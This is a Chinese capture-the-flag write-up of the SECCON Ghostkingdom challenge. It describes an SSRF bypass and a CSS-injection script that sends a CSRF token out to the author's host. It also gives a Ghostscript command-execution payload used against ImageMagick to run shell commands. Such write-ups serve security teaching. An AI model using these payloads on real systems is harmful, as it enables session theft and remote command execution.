seccon Ghostkingdom

栏目: CSS · 发布时间: 7年前

内容简介:题目链接#流程分析打开题目,先是一个简单的注册登陆流程,但是提交参数都是用的get提交的。

题目链接 http://ghostkingdom.pwn.seccon.jp/FLAG/

#流程分析

打开题目,先是一个简单的注册登陆流程,但是提交参数都是用的get提交的。

seccon Ghostkingdom

登陆之后有3个基本的功能。

Message to admin
Take a screenshot
Upload image   * Only for users logged in from the local network

先看一下每个功能的作用。

Message to admin

可以给admin发送消息,有两种模式,但是本质上是一样的只是多了css的渲染。我们直接看看Emergency方式。

url:http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=%3C%3E&action=msgadm2

其中base64解码之后,被输出到了\ 标签中。

<style>span{background-color:red;color:yellow}</style>

这里想通过引入<>括号,来进行xss,但是可惜的是直接被转义了,那这样的化我们只能通过 span{background-image:url(url)} 来发送一个get请求,但是这里在做题的时候把这个payload发送给admin的化在vps上面是收不到请求的,看了writeup才知道Send to admin 功能是无效的 。

Take a screenshot

访问一个的url,并截屏,而且是解析js的。很明显这里是存在ssrf的。尝试访问一下 http://127.0.0.1/,可以看到还是做了过滤的。

seccon Ghostkingdom

那我们把一个域名解析到127.0.0.1试试,我这里用的是t.mt1024.cn。成功的绕过了防护。那我们用之前的get登陆的方式尝试登陆一下。可以看到是有upload功能的。那现在的问题也就是我们要怎么伪造成localhost’登陆。

http://ghostkingdom.pwn.seccon.jp/?url=http%3a%2f%2ft.mt1024.cn%2f%2f%3fuser%3dmt1234567890%26pass%3dmt1234567890a%26action%3dlogin&wd=ip&action=sshot2

seccon Ghostkingdom

css injection

但是我们可以发现,我们得cookie和发送admin信息的csrf token是相同的。那这样的化我们可以用 css injection 来获取csrf token的值从而伪造我们是locahost登陆的。(其实这里我自己也有点搞不懂了,比赛的时候

这里直接借用一下大佬的payload:

import base64
def getBase64(s):
    z = []
    for i  in  '0123456789abcdef':
        st = s + i
        z.append('input[value^="{}"] {{background: url(http://sevice/?csrf={})}}'.format(st, st))
    return base64.b64encode('\n'.join(z))

def formatURL(s):
    return "http://0.0.0.0/?css={}&action=msgadm2".format(s)

print formatURL(getBase64(''))

然后我们在用之前的get登陆,然后用css去注入我们的cookie。(但是这里我自己也有点搞不懂,做题的时候也登陆了账号去在localhost注册cookie,但是访问upload的时候还是提示没有登陆,就以为是30s的限制别人把自己的cookie挤掉了,但是访问send message的时候就可以了。而且把自己本地的cookie清除掉了之后,localhost的cookie也掉了,或许只是争对payload将两边的cookie做了一个关系把。)

最后得到cookie:8dc4811759c90887a1f2d6

ghostscript命令执行

得到cookie之后我们就可以看到上传的页面了,我们直接上传一张不正常的图片。然后将其Convert to GIF format。

seccon Ghostkingdom

可以根据报错信息,搜到使用的ImageMagick进行的图片转换。然后用网上的[payload][ https://bbs.ichunqiu.com/thread-44747-1-1.html]一把唆就完事了。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(ls /var/www/html/FLAG/)) currentdevice putdeviceprops

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

程序员的自我修养

程序员的自我修养

陈逸鹤 / 清华大学出版社 / 2017-5 / 49.00

程序员作为一个职业、也作为一个群体,正逐渐从幕后走向前台,并以他们自己的能力加速改变着世界,也改变着人们生活的方方面面。然而,对于程序员,特别是年轻程序员们来说,如何理解自己的职业与发展,如何看待自己的工作与生活,这些问题往往比那些摆在面前的技术难题更让他们难以解答。 这本书从一个成熟程序员、一名IT管理者的角度,以杂记的形式为大家分享关于国内程序员职业生涯、个人发展、编程中的实践与认知乃至......一起来看看 《程序员的自我修养》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

SHA 加密
SHA 加密

SHA 加密工具